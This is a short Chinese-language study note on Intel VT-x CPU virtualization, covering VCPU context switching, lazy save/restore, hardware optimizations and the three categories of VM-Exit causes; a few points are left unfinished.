VCPU的运行上下文切换 VCPU的上下文分为两部分,所以切换也分为由硬件自动切换(VMCS部分)和VMM软件切换(非VMCS部分)
具体切换步骤:
1.VMM保存自己的上下文,主要是保存VMCS不保存的寄存器,即宿主机状态域以外的部分
2.VMM将保存在VCPU中的由软件切换的上下文加载到物理CPU中
3.VMM执行VMRESUME/VMLAUNCH指令,触发VM-Entry,此时CPU自动将VCPU上下文中VMCS部分加载到物理CPU,CPU切换到非根模式。
惰性保存/恢复: 这个方法是对上下文切换进行的优化,因为上下文切换带来的开销比较大。它的思想是
VCPU的硬件优化 优化的目的是尽可能少地在客户机和VMM之间切换,从而减少上下文切换的开销。Intel VT-x提供两种优化方法。
VCPU的退出 推出的原因可能是执行了特权指令、发生了物理中断等,在VT-x中表现为发生VM-Exit。对VCPU退出的处理是VMM进行CPU虚拟化的核心,例如模拟各种特权指令。
退出的原因大体上有三类:
1.访问了特权资源,对CR和MSR寄存器的访问都属于这一类
2.客户机执行的指令引发了异常,例如缺页错误
3.发生了中断。